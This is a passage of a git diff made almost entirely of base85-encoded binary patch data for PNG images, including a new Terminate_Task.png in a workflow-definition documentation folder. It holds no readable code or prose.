z_4H?l1(RfxbXD_ngAv<~`y#OGU+3H{2v}y4l-O@xs4#}|?EUb2f1!C`RpXJO-n};g zKw-~RbdL|rwCWG3Xp<8#IN%uR>9*eW7VBm9^}i(VH^8_y+026yC*HAq8Sj4E&^v@@Q~WI0#GF(&u-2Z;fI56L$PCwpPYf{$haAHT|% zXO&XoX*louNXDh?S_P8sDftx$)u<0e4yc|<-$q=ZN>+`+h3;C1Y62yYbfuu}RECHn zV5Jdux_R(U$ZLDpR@i9BrS18lG5Ud1JLHvRb=$k~?QBo5jN0`B+@yhcm6|mo+yNte zg30oq`bm0ZG*7OsTFKDNpjAb}91jzP77Up0NW@SPUY{Fb6MwfK z!lsZEgB=r=G7W5*nG^T##1B6Mf>~=Y2Z0=pT45ZS65`u5h?U>~=N@wiCgi)(&1f&I zoA`}y(eJZew`kOGM(EOq*!d+rJ=C_3HhE7R6^Xjffx? z6j&-??;ukG4nPK|VvK_E6MMi9O`B0jU@cY8Y|o3(daDH$BG0qmVQ!jjSR(R45Ky!& zA9YuiA)>sMp+&@iD2(=drr{rql6yMgysF#9@$F-5c#zg#TeLzmE=@wi9qqgVUv-M_ZjwYV@^fg)f>`h8ht#zUovusHstBb8(yv-U-RnBuOCR(Or%TDf#ODu()#**+g0F4L z!!@qXEAG3gmr8E9<6_&AJW3yEX&?*30B@yYeUDMi6$HDR?b9I)F}Q`(c^630N_oBP zIG(uP9gGBv`UfBhYz4--H<7z@sybi3-47~yli_NUINuYRbD+mPb?*|`11?NOT zOyM!R(ERu!1zzrqnm42PA_{s0REh%9P#cA0!h}lS46gL2C;IG%SDT~zA2+&fw2Ojf1kP?TLax^eHJe~KO9kmoIovl}uNJbL{4(VR1L6ZRmM!^7kAU1^t zyq(5mo_M%JB6x3KpEjx=j#4~l`i;dq;Lm|S6m&b&ca-7)snxCYH6N=>qknXM3!C3i zKXyHA7Dv%hnvSMn-7mI3T@3dfx@{qq!KgxC_yU8!RR&wce&LKQC0*pMFOH~5o4_HI ztpW0A`hmZ)zhz2tG5wz2JZGnyrH#9ouVr_0`NyyTNd(YEmgmKwGJRGOFd00s3`EFQ z(==4*H_|&2pCgWI#f_YJ0cH$JaSaHg70Y(rD1MvfLgG1?KtBKGE4rN9*1jVduXhEq z0y@k<&RMbG^Wd^bxkjR7k#s!?`WsFyhA$G1P6P>zl`og|i3dY&AK+%$s8*VIRNm0* zA@~xCI&U^Y--}k}-DO1f?S_X4QG+h2~ z^;YvgewU0m#OlVdn~rB$)4u?~2o=Gi+8fa513b0+%{;|$T)$GF|2W{a3w>T+CM$Is zl`J3bHlt-{%G9>Q=&Im3h~>fPA7O#Zu|(-C2w6qmVQB-bafbK9K7bM(Moda!hC)?m zdq0$x?O{L^jAKC%zYXo17cBz^QHA1jP+GhN9Qsciiv%Snu1X!X3V6OWdg>+)uo(RA`9 z08XSL)j(kRY6t>M`Bw9RfCsj)UR?8Eed!S3OB6AR9+MXFU(M(O3_1i7jI4ay7x5*F zAqSSW4KF1x@dk_nH5?!C*(5l-?;kM=jE4@GhXZs0RsMh16TTIK-HJwZ|67u7!2|R0 zK&r$m|5tPV|M^)92p~!a|0`jQ-+0xdv#I%i1?@*jp11TQ%6HoMU&Z==1iaOMB`pEz c*(-!-^k*O2O5s(2T6iZdt{_$=qW}GW08~Ne0ssI2 literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/operators/Terminate_Task.png b/docs/documentation/configuration/workflowdef/operators/Terminate_Task.png new file mode 100644 index 0000000000000000000000000000000000000000..b045dd9ab311251ff84c106759e211a3f383e7ce GIT binary patch literal 22374 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 